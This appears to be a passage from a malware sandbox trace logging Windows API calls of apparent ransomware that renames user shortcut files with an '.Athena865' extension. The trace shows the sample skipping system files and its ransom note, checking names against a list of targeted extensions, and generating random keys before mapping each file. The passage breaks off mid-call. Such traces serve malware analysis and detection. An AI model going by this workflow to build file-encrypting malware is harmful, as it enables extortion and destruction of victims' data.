[0051.080] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.athena865"), dwFlags=0x1) returned 1 [0051.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.099] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=486) returned 1 [0051.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519448 [0051.099] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5194d0) returned 1 [0051.100] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.100] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.100] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f0, lpName=0x0) returned 0x154 [0051.109] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f0) returned 0x100000 [0051.128] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5194d0) returned 1 [0051.128] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.128] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b840 [0051.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b840 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.129] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.129] CloseHandle (hObject=0x154) returned 1 [0051.129] CloseHandle (hObject=0x17c) returned 1 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519448 | out: hHeap=0x4f0000) returned 1 [0051.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.130] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="windows") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="bootmgr") returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="temp") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="pagefile.sys") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="boot") returned 1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ids.txt") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ntuser.dat") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="perflogs") returned -1 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2="MSBuild") returned -1 [0051.130] lstrlenW (lpString="Downloads.lnk") returned 13 [0051.130] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk" [0051.130] lstrlenW (lpString="Downloads.lnk") returned 13 [0051.130] lstrlenW (lpString="Athena865") returned 9 [0051.130] lstrcmpiW (lpString1="loads.lnk", lpString2="Athena865") returned 1 [0051.130] lstrlenW (lpString=".dll") returned 4 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".dll") returned 1 [0051.130] lstrlenW (lpString=".lnk") returned 4 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".lnk") returned 1 [0051.130] lstrlenW (lpString=".ini") returned 4 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".ini") returned 1 [0051.130] lstrlenW (lpString=".sys") returned 4 [0051.130] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".sys") returned 1 [0051.130] lstrlenW (lpString="Downloads.lnk") returned 13 [0051.130] lstrlenW (lpString="bak") returned 3 [0051.130] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.130] lstrlenW (lpString="ba_") returned 3 [0051.130] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.131] lstrlenW (lpString="dbb") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.131] lstrlenW (lpString="vmdk") returned 4 [0051.131] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.131] lstrlenW (lpString="rar") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.131] lstrlenW (lpString="zip") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.131] lstrlenW (lpString="tgz") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.131] lstrlenW (lpString="vbox") returned 4 [0051.131] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.131] lstrlenW (lpString="vdi") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.131] lstrlenW (lpString="vhd") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.131] lstrlenW (lpString="vhdx") returned 4 [0051.131] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.131] lstrlenW (lpString="avhd") returned 4 [0051.131] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.131] lstrlenW (lpString="db") returned 2 [0051.131] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.131] lstrlenW (lpString="db2") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.131] lstrlenW (lpString="db3") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.131] lstrlenW (lpString="dbf") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.131] lstrlenW (lpString="mdf") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.131] lstrlenW (lpString="mdb") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.131] lstrlenW (lpString="sql") returned 3 [0051.131] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.132] lstrlenW (lpString="sqlite") returned 6 [0051.132] lstrcmpiW (lpString1="ds.lnk", lpString2="sqlite") returned -1 [0051.132] lstrlenW (lpString="sqlite3") returned 7 [0051.132] lstrcmpiW (lpString1="ads.lnk", lpString2="sqlite3") returned -1 [0051.132] lstrlenW (lpString="sqlitedb") returned 8 [0051.132] lstrcmpiW (lpString1="oads.lnk", lpString2="sqlitedb") returned -1 [0051.132] lstrlenW (lpString="xml") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.132] lstrlenW (lpString="$er") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.132] lstrlenW (lpString="4dd") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.132] lstrlenW (lpString="4dl") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.132] lstrlenW (lpString="^^^") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.132] lstrlenW (lpString="abs") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.132] lstrlenW (lpString="abx") returned 3 [0051.132] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.132] lstrlenW (lpString="accdb") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accdb") returned 1 [0051.132] lstrlenW (lpString="accdc") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accdc") returned 1 [0051.132] lstrlenW (lpString="accde") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accde") returned 1 [0051.132] lstrlenW (lpString="accdr") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accdr") returned 1 [0051.132] lstrlenW (lpString="accdt") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accdt") returned 1 [0051.132] lstrlenW (lpString="accdw") returned 5 [0051.132] lstrcmpiW (lpString1="s.lnk", lpString2="accdw") returned 1 [0051.132] lstrlenW (lpString="accft") returned 5 [0051.133] lstrcmpiW (lpString1="s.lnk", lpString2="accft") returned 1 [0051.133] lstrlenW (lpString="adb") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.133] lstrlenW (lpString="adb") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.133] lstrlenW (lpString="ade") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.133] lstrlenW (lpString="adf") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.133] lstrlenW (lpString="adn") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.133] lstrlenW (lpString="adp") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.133] lstrlenW (lpString="alf") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.133] lstrlenW (lpString="ask") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.133] lstrlenW (lpString="btr") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.133] lstrlenW (lpString="cat") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.133] lstrlenW (lpString="cdb") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.133] lstrlenW (lpString="ckp") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.133] lstrlenW (lpString="cma") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.133] lstrlenW (lpString="cpd") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.133] lstrlenW (lpString="dacpac") returned 6 [0051.133] lstrcmpiW (lpString1="ds.lnk", lpString2="dacpac") returned 1 [0051.133] lstrlenW (lpString="dad") returned 3 [0051.133] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.133] lstrlenW (lpString="dadiagrams") returned 10 [0051.133] lstrcmpiW (lpString1="nloads.lnk", lpString2="dadiagrams") returned 1 [0051.134] lstrlenW (lpString="daschema") returned 8 [0051.134] lstrcmpiW (lpString1="oads.lnk", lpString2="daschema") returned 1 [0051.134] lstrlenW (lpString="db-journal") returned 10 [0051.134] lstrcmpiW (lpString1="nloads.lnk", lpString2="db-journal") returned 1 [0051.134] lstrlenW (lpString="db-shm") returned 6 [0051.134] lstrcmpiW (lpString1="ds.lnk", lpString2="db-shm") returned 1 [0051.134] lstrlenW (lpString="db-wal") returned 6 [0051.134] lstrcmpiW (lpString1="ds.lnk", lpString2="db-wal") returned 1 [0051.134] lstrlenW (lpString="dbc") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.134] lstrlenW (lpString="dbs") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.134] lstrlenW (lpString="dbt") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.134] lstrlenW (lpString="dbv") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.134] lstrlenW (lpString="dbx") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.134] lstrlenW (lpString="dcb") returned 3 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.134] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0051.134] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Athena865") returned 76 [0051.134] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.athena865"), dwFlags=0x1) returned 1 [0051.135] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.135] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=929) returned 1 [0051.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519448 [0051.136] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5194d0) returned 1 [0051.136] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.136] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.137] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b0, lpName=0x0) returned 0x154 [0051.138] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b0) returned 0x100000 [0051.158] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5194d0) returned 1 [0051.159] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.159] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b840 [0051.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b840 [0051.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.159] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.159] CloseHandle (hObject=0x154) returned 1 [0051.159] CloseHandle (hObject=0x17c) returned 1 [0051.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519448 | out: hHeap=0x4f0000) returned 1 [0051.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.160] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce37aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.160] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.160] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="windows") returned -1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="bootmgr") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="temp") returned -1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="pagefile.sys") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="boot") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ids.txt") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ntuser.dat") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="perflogs") returned 1 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="MSBuild") returned 1 [0051.160] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0051.160] lstrcpyW (in: lpString1=0x241e8b2, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk" [0051.160] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0051.160] lstrlenW (lpString="Athena865") returned 9 [0051.160] lstrcmpiW (lpString1="laces.lnk", lpString2="Athena865") returned 1 [0051.160] lstrlenW (lpString=".dll") returned 4 [0051.160] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".dll") returned 1 [0051.160] lstrlenW (lpString=".lnk") returned 4 [0051.161] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".lnk") returned 1 [0051.161] lstrlenW (lpString=".ini") returned 4 [0051.161] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".ini") returned 1 [0051.161] lstrlenW (lpString=".sys") returned 4 [0051.161] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".sys") returned 1 [0051.161] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0051.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Athena865") returned 79 [0051.161] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.athena865"), dwFlags=0x1) returned 1 [0051.168] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.169] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=363) returned 1 [0051.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519448 [0051.169] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5194d0) returned 1 [0051.170] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.170] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.170] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0051.172] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0051.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5194d0) returned 1 [0051.173] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.173] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b840 [0051.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b840 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.174] CloseHandle (hObject=0x154) returned 1 [0051.174] CloseHandle (hObject=0x17c) returned 1 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519448 | out: hHeap=0x4f0000) returned 1 [0051.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.174] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0051.174] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0051.175] ReleaseMutex (hMutex=0xec) returned 1 [0051.175] CloseHandle (hObject=0xec) returned 1 [0051.175] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0051.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: 